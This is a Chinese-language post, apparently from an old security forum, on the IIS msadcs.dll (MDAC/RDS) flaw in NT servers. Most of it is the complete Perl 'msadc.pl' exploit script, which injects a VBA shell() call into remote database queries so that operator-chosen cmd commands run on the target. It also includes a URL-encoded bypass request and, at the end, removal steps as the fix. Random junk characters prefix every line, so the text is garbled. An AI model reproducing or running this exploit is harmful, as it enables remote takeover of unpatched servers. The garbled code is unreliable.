IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
cFuQ>xR1 Ea0EG> Y 涉及程序：
;<xPzf Microsoft NT server
7_rDNK@e 7 _lgo6 描述：
.SOCWznb 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
AgUjC =GeGlI6 详细：
w=0zVh_`( 如果你没有时间读详细内容的话，就删除:
niYD[Ra\xP c:\Program Files\Common Files\System\Msadc\msadcs.dll
$v"CQD 有关的安全问题就没有了。
wi[FBLB/8 <dz_7hR" 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
tq=M 9c WE-+WC!!: 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
w7vQ6jkH 关于利用ODBC远程漏洞的描述，请参看:
[=u@6Y 0}T 56aD=! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm j W[EjhsH &?}h)U#: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
wOrj-Smx http://www.microsoft.com/security/bulletins/MS99-025faq.asp %?8.UW\m fWDTP|DV 这里不再论述。
gT,iH. r]w y-GT 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
y
S<&d#:" q 1u_r /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2|`Mb~E ; 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
/1= x8Sb n^l5M^. rm|,+ { #将下面这段保存为txt文件，然后: "perl -x 文件名"
6Yqqq[#V/ m93{K7 O2e #!perl
)5o6*(Y #
$:onKxVM # MSADC/RDS 'usage' (aka exploit) script
XSx'@ qH #
%0 U@k!lP # by rain.forest.puppy
3jto$_3'w #
$%ww$3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%Rk0sfLvn # beta test and find errors!
F EBRUk6.h tlI]) ;iE, use Socket; use Getopt::Std;
k9VWyq__ getopts("e:vd:h:XR", \%args);
]J/ ;Xp P;|63" U print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
V=Bm pg i=f hK~Jd if (!defined $args{h} && !defined $args{R}) {
:z|$K^)7Z print qq~
<N=ow "rD Usage: msadc.pl -h <host> { -d <delay> -X -v }
Z hCjY -h <host> = host you want to scan (ip or domain)
KQ(S\ -d <seconds> = delay between calls, default 1 second
'}F9f? -X = dump Index Server path table, if available
m]{/5L -v = verbose
^l K!tO eO -e = external dictionary file for step 5
y C!>7@m D? H|O[ Or a -R will resume a command session
x'%vL",% 8*uaI7;* ~; exit;}
!&v"+ K3lU 9R&.$5[W(s $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
B\;fC's+ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ax 2#XSCO if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
?~]mOv> if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
FE1En $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
8|\xU9VT if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y$qjQ 1jF+ !8R JHMX& if (!defined $args{R}){ $ret = &has_msadc;
=~dsIG die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
ER4#5gd 7EL0!:P p3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X'2%'z< . "cmd /c ";
*2YWvGc $in=<STDIN>; chomp $in;
0zA :?} $command="cmd /c " . $in ;
)>;387'Y CKU)wJ5t if (defined $args{R}) {&load; exit;}
S@4bpnhK |(Xxi print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
HEK ?z|Ne &try_btcustmr;
Y`xAJ#=
,i i}))6 print "\nStep 2: Trying to make our own DSN...";
_e|-O>#pl &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
B5;94YIN /[q_f print "\nStep 3: Trying known DSNs...";
Bf W@f &known_dsn;
ksYPF&l A=*6|1w; print "\nStep 4: Trying known .mdbs...";
P1`YbLER5 &known_mdb;
QX. U:p5C eN m
Wul if (defined $args{e}){
KXu1%`x=%Z print "\nStep 5: Trying dictionary of DSN names...";
,%y!F3 m &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
iX>)6)uJ |%(qaPA1 print "Sorry Charley...maybe next time?\n";
=Q!V6+}nY^ exit;
Jp~[D m j?! /#' ##############################################################################
dmMr Z1u2 G/KTF2wl7 sub sendraw { # ripped and modded from whisker
~BXy)IB6 sleep($delay); # it's a DoS on the server! At least on mine...
2n Sz0 . my ($pstr)=@_;
@,pn /[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H\|H]: CE die("Socket problems\n");
fs#9*<]m if(connect(S,pack "SnA4x8",2,80,$target)){
U 8 zs=tA select(S); $|=1;
}< / "~Kw! print $pstr; my @in=<S>;
!zfV (& select(STDOUT); close(S);
j<L !(6B return @in;
JS&;7Z$KX } else { die("Can't connect...\n"); }}
1 _G+sDw$ VB4ir\nF ##############################################################################
t & 5s . \6/!{D, sub make_header { # make the HTTP request
4 HGR-S/ my $msadc=<<EOT
,Fu[o6x<^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
w4UJXc User-Agent: ACTIVEDATA
!nF.whq Host: $ip
j7VaaA Content-Length: $clen
(T.g""N~` Connection: Keep-Alive
D:N\K/p pEb/ yIT" ADCClientVersion:01.06
36 ]?4, . Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
z_Pq5 S&'-wA Ed --!ADM!ROX!YOUR!WORLD!
LO)QEUG Content-Type: application/x-varg
\O e8h#% Content-Length: $reqlen
o~V Z%B 4}<[4]f?| EOT
p.vxrk`c ; $msadc=~s/\n/\r\n/g;
Q+E)_5_sA return $msadc;}
F[0w*i&u5 z+nq<%"' ##############################################################################
7+P- MT DM{Z#b ] sub make_req { # make the RDS request
t
y%Hrw my ($switch, $p1, $p2)=@_;
7t6TB*H my $req=""; my $t1, $t2, $query, $dsn;
H*&!$s. }wGy#!CSza if ($switch==1){ # this is the btcustmr.mdb query
ESkhCDU $query="Select * from Customers where City=" . make_shell();
[iN\R+: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
kg$w<C@#" $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
J vtbGPz 0}$R4<"{Y> elsif ($switch==2){ # this is general make table query
v+d? #^ $query="create table AZZ (B int, C varchar(10))";
MAgoxq~;V $dsn="$p1";}
-qB{TA-.\ K- TLzoYA elsif ($switch==3){ # this is general exploit table query
3MHByT % $query="select * from AZZ where C=" . make_shell();
R=L-Ulhk $dsn="$p1";}
ER<Z!*2 twql)lbx elsif ($switch==4){ # attempt to hork file info from index server
qB3=w F I $query="select path from scope()";
d-#yN:}0 $dsn="Provider=MSIDXS;";}
&t74T"(d q&: t$tSS elsif ($switch==5){ # bad query
AH# Dk5# G $query="select";
(KphAA8 $dsn="$p1";}
Odbm"Y dca?(B!'6 $t1= make_unicode($query);
D (">bR)1 $t2= make_unicode($dsn);
Jrx]/CM $req = "\x02\x00\x03\x00";
j.29nJ $req.= "\x08\x00" . pack ("S1", length($t1));
gCW
{$d1= $req.= "\x00\x00" . $t1 ;
ujb J&p
$req.= "\x08\x00" . pack ("S1", length($t2));
xGK"`\V $req.= "\x00\x00" . $t2 ;
>]?!9 @#IH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~4ysg[` return $req;}
lJU]sZ9~b ]hY4
MS ##############################################################################
WNiM&iU bbFzmS1 sub make_shell { # this makes the shell() statement
j` k :) return "'|shell(\"$command\")|'";}
3}i(i0+ |`@ 7G`x ##############################################################################
lD ?]D& ]bAw>1,NVD sub make_unicode { # quick little function to convert to unicode
v`~egE17 my ($in)=@_; my $out;
HJOoCf for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3xpygx9 return $out;}
X"v)9 p Vpf7~2[q% ##############################################################################
mUwGr_)wj X%Ta?(9|.^ sub rdo_success { # checks for RDO return success (this is kludge)
w;V+)r?w my (@in) = @_; my $base=content_start(@in);
Q y| 6A@ if($in[$base]=~/multipart\/mixed/){
&=v5M9GR] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
SHe547X1 return 0;}
4 _Idf 6Zq7O\ ##############################################################################
| <- t biAa& sub make_dsn { # this makes a DSN for us
{tF)%>\# my @drives=("c","d","e","f");
e&F=w`F\ print "\nMaking DSN: ";
vA0f4W 8+ foreach $drive (@drives) {
RVa{% print "$drive: ";
EdS7m,d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
+ :k"{I "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-|/*S]6kK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0J 1&6b $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
MF4B 2d return 0 if $2 eq "404"; # not found/doesn't exist
r$;u4FR if($2 eq "200") {
M K, $# foreach $line (@results) {
DV jsz return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_SQ0`=+ } return 0;}
}wV/)Oy[ wy# 5p]!u ##############################################################################
g42Z*+P6N p|'Rm ]&jb sub verify_exists {
pL{ :8Ed my ($page)=@_;
'=>l& ; my @results=sendraw("GET $page HTTP/1.0\n\n");
k\lU
Q\/O5 return $results[0];}
JS0957K .Wvg{ S - ##############################################################################
!v]~ut !p f5hf<R),A sub try_btcustmr {
*^.OqbO[U my @drives=("c","d","e","f");
fZrB!\Q my @dirs=("winnt","winnt35","winnt351","win","windows");
[knwp$ U#F(%b-LC foreach $dir (@dirs) {
e>< ,WM,e print "$dir -> "; # fun status so you can see progress
-n`2>L1 foreach $drive (@drives) {
,:?=j80m print "$drive: "; # ditto
jI,?*n< $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=1% < $reqlenlen=length( "$reqlen" );
r*W&SU9Z $clen= 206 + $reqlenlen + $reqlen;
&W-1W99auE S *K0OUq my @results=sendraw(make_header() . make_req(1,$drive,$dir));
qiyJ4 ^1 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Pxe7 \e else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
LkUi^1((e yI_MY L[ ##############################################################################
aDjYT/`l @7OE:& #V sub odbc_error {
3Vb/Mn!k my (@in)=@_; my $base;
$C9['GGR my $base = content_start(@in);
D 13bQ&\B- if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
5:X ^Q.f; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
NUGiDJ+[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&3bh K5P $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IyGW>g6_. return $in[$base+4].$in[$base+5].$in[$base+6];}
khfWU print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
oD~q/04! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$1;@@LSw $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
t{Gc, S!]5 \xexl 1_; ##############################################################################
_f< #+*y mA0|W#NB sub verbose {
-3&mgd my ($in)=@_;
</)QCl' d return if !$verbose;
wVtBH_> print STDOUT "\n$in\n";}
lyQNE3 u eV,p?Wo ##############################################################################
3\&I7o3V cg' z:_l sub save {
7 ?"-NrW~ my ($p1, $p2, $p3, $p4)=@_;
F )hUT@ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
2U `g[1 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
`NARJ9M close OUT;}
=1Tn~)^O wb/@g=` d ##############################################################################
eAbp5}B m15> ^i^W sub load {
wGAeOD my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m$bDWxm#e open(IN,"<rds.save") || die("Couldn't open rds.save\n");
q
OX=M @p=<IN>; close(IN);
s. j cD $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Ai.^~#%X $target= inet_aton($ip) || die("inet_aton problems");
Bz * 6M print "Resuming to $ip ...";
T{mIk p< $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Cw]bhaG
g if($p[1]==1) {
rZ^VKO`~I1 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,U#FtO e c $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
spv'r!*\ed my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
"BD$-] if (rdo_success(@results)){print "Success!\n";}
lehuJgz'OO else { print "failed\n"; verbose(odbc_error(@results));}}
$BWA= 2$ elsif ($p[1]==3){
5!}fd/}Uk if(run_query("$p[3]")){
,S\AUU t% print "Success!\n";} else { print "failed\n"; }}
PBp +(o- elsif ($p[1]==4){
_cD-E.E% if(run_query($drvst . "$p[3]")){
^U0)iz print "Success!\n"; } else { print "failed\n"; }}
:ej`]yK | exit;}
EGJrnz8 m00 5*>IY ##############################################################################
/faP@Q3kR <+)B8I^ sub create_table {
J#*R]LU| my ($in)=@_;
>J_%'%%f $reqlen=length( make_req(2,$in,"") ) - 28;
~ U`|+
5 $reqlenlen=length( "$reqlen" );
'v'=t <wgl $clen= 206 + $reqlenlen + $reqlen;
,NoWAmv my @results=sendraw(make_header() . make_req(2,$in,""));
<;':'sW return 1 if rdo_success(@results);
NM&R\GI my $temp= odbc_error(@results); verbose($temp);
LCkaSv/[RB return 1 if $temp=~/Table 'AZZ' already exists/;
\s" >trXwX return 0;}
sD ,FJ:dy Wc!.{2 ##############################################################################
rEG!A87Zz eC Xw8 sub known_dsn {
:}p<Hq 8Z # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
dn|OY. `| my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
?D S|vCae "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
2kVQ#JyuRI "banner", "banners", "ads", "ADCDemo", "ADCTest");
6HR ^q 1i:Q
%E
F foreach $dSn (@dsns) {
dEG1[QG print ".";
TC^fyxq next if (!is_access("DSN=$dSn"));
T +~
_ D if(create_table("DSN=$dSn")){
A N
'L-
E print "$dSn successful\n";
L(w ?.)E if(run_query("DSN=$dSn")){
=>,X)+O print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
NncII5z print "Something's borked. Use verbose next time\n";}}} print "\n";}
&)#bdt [ 7/GL@H ##############################################################################
vK,.P:n O t1:z:Pl sub is_access {
zTS#o#`!\ my ($in)=@_;
1OW#_4w/ $reqlen=length( make_req(5,$in,"") ) - 28;
Q<d|OX $reqlenlen=length( "$reqlen" );
-Gmg&yQ9 $clen= 206 + $reqlenlen + $reqlen;
n>i}O!agg my @results=sendraw(make_header() . make_req(5,$in,""));
e.? ;mD my $temp= odbc_error(@results);
&1$|KbmV4 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/E<:=DD< return 0;}
_"c:Z !L ?N(opggiD ##############################################################################
L|A.;Gq <A@qN95m sub run_query {
.YxcXe3# my ($in)=@_;
a5@XD_ b $reqlen=length( make_req(3,$in,"") ) - 28;
;iT ZzmB $reqlenlen=length( "$reqlen" );
);oE^3]f $clen= 206 + $reqlenlen + $reqlen;
+N:=|u.g my @results=sendraw(make_header() . make_req(3,$in,""));
eL{6;.C return 1 if rdo_success(@results);
LQ3J$N my $temp= odbc_error(@results); verbose($temp);
^mu Pj M+D return 0;}
^P}c0}^ NG?- dkD ##############################################################################
bbxo !K
m" )M E'qA3K sub known_mdb {
2!;U.+( my @drives=("c","d","e","f","g");
"E}38 my @dirs=("winnt","winnt35","winnt351","win","windows");
C}8 3t~Q my $dir, $drive, $mdb;
Yi+$g my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z`KP
}- &n-)A lx # this is sparse, because I don't know of many
e<1)KqG my @sysmdbs=( "\\catroot\\icatalog.mdb",
+je{%,* "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
35 PIfq m "\\system32\\certmdb.mdb",
J{ h?=vK "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
CwQRHi _8'z "w F my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_W^{,*p "\\cfusion\\cfapps\\forums\\forums_.mdb",
g]Fm%iy "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
8KyF0r? "\\cfusion\\cfapps\\security\\realm_.mdb",
d<+@cf_9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
{&d )O "\\cfusion\\database\\cfexamples.mdb",
`;\~$^sj} "\\cfusion\\database\\cfsnippets.mdb",
]0@
06G(y "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
lz88//@gZ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
b?deZ2"L# "\\cfusion\\brighttiger\\database\\cleam.mdb",
4NxI:d$&* "\\cfusion\\database\\smpolicy.mdb",
ePxwN? "\\cfusion\\database\cypress.mdb",
.}x:yKyi@ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
P2>Y0"bY "\\website\\cgi-win\\dbsample.mdb",
6qH^&O][ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
kb2M3%6 V "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
P[<EFj E ); #these are just
& &K"3"um foreach $drive (@drives) {
SvN2}]Kh foreach $dir (@dirs){
g q[`g=x foreach $mdb (@sysmdbs) {
_yP02a^2 print ".";
0o &B 7N if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
\>n Y%* print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
yi@ mf$A| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Kb,#Ot print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
G0&'B6I> } else { print "Something's borked. Use verbose next time\n"; }}}}}
Zq\Vq:MX &=`6- J foreach $drive (@drives) {
i $W
E1- foreach $mdb (@mdbs) {
KmE<+/x~? print ".";
sm96Ye{O{ if(create_table($drv . $drive . $dir . $mdb)){
jhkNi`E7 print "\n" . $drive . $dir . $mdb . " successful\n";
j O6yZ t if(run_query($drv . $drive . $dir . $mdb)){
\\i$zRi print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
/ o ]j } else { print "Something's borked. Use verbose next time\n"; }}}}
Jl|^ }
2E_*'RT
fgE Mn; ##############################################################################
;/|3U7{ c >C"QV `+ sub hork_idx {
/{HK0fd print "\nAttempting to dump Index Server tables...\n";
> J>|+W print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
F|{F'UXj| $reqlen=length( make_req(4,"","") ) - 28;
1H]E:Bq $reqlenlen=length( "$reqlen" );
4 N{5i ) $clen= 206 + $reqlenlen + $reqlen;
]n$&|@ my @results=sendraw2(make_header() . make_req(4,"",""));
9_I#{ ? if (rdo_success(@results)){
QLum=YB my $max=@results; my $c; my %d;
n9x&Ws; for($c=19; $c<$max; $c++){
PHHX)xK $results[$c]=~s/\x00//g;
r,-9 ]?i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
gt{$G|bi $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
'W]oQLD^R $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
N_qKIc_R
$d{"$1$2"}="";}
@!:_r5R~N foreach $c (keys %d){ print "$c\n"; }
StWF66u34& } else {print "Index server doesn't seem to be installed.\n"; }}
7<p? E7 %2t#>}If! ##############################################################################
9a;8^?Ld%S oq3{q sub dsn_dict {
Ad ]oM] open(IN, "<$args{e}") || die("Can't open external dictionary\n");
k}r)I. Lp while(<IN>){
9HJA:k*k| $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
8w]>SEGFs next if (!is_access("DSN=$dSn"));
R4P$zB_< 2 if(create_table("DSN=$dSn")){
_rjLCvv- print "$dSn successful\n";
r]'Q5l4j6" if(run_query("DSN=$dSn")){
/a Hx'TG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
h&$,mbEoI print "Something's borked. Use verbose next time\n";}}}
1l`$. k print "\n"; close(IN);}
q26%Z)'nf xFy%&SKHg ##############################################################################
08JVX'X-mr .vJ t&@NO sub sendraw2 { # ripped and modded from whisker
cA]Ch>]A% sleep($delay); # it's a DoS on the server! At least on mine...
>( :b\*C my ($pstr)=@_;
qc6eqE socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
EU @XLm6 die("Socket problems\n");
2W]y9)<c if(connect(S,pack "SnA4x8",2,80,$target)){
qtLXdSc print "Connected. Getting data";
jYi{[* * open(OUT,">raw.out"); my @in;
iJD_ qhd7 select(S); $|=1; print $pstr;
6*r3T:u3 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
2lm{: tS close(OUT); select(STDOUT); close(S); return @in;
0nOp'Ky\k } else { die("Can't connect...\n"); }}
m"RE[dQ r Gx X] ##############################################################################
RS`~i8e' BL Q&VI4 sub content_start { # this will take in the server headers
mbm|~UwD my (@in)=@_; my $c;
;%tu; for ($c=1;$c<500;$c++) {
:\+\/HTbh if($in[$c] =~/^\x0d\x0a/){
ezR !ngt if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
NDaM;` else { return $c+1; }}}
\r+8} 8 return -1;} # it should never get here actually
G
oJ\6& " bu|e cv ##############################################################################
sBfPhBT| en6oF PG sub funky {
L4,Ke my (@in)=@_; my $error=odbc_error(@in);
/n|`a1! if($error=~/ADO could not find the specified provider/){
' y9yx[P print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Md4JaFA( exit;}
'5n67 Hl 1 if($error=~/A Handler is required/){
(xhwl=MX) print "\nServer has custom handler filters (they most likely are patched)\n";
:5M7*s)e16 exit;}
dfoFs&CSKh if($error=~/specified Handler has denied Access/){
`!$I6KxT print "\nServer has custom handler filters (they most likely are patched)\n";
(`& `vf exit;}}
xjDV1Xf* x3>PM]r(V ##############################################################################
/2\%X`]< g~AO KHUP sub has_msadc {
8x J] K my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
+5BhC9=b my $base=content_start(@results);
0{GpO 6! return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
C* I~14 return 0;}
3h|:ew[ bkgJz+u ########################
L--(Y+vmf \%! ~pfM I \dz@hJl: 解决方案：
eHjn<@ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~yvOR`2Gg 2、移除web 目录: /msadc
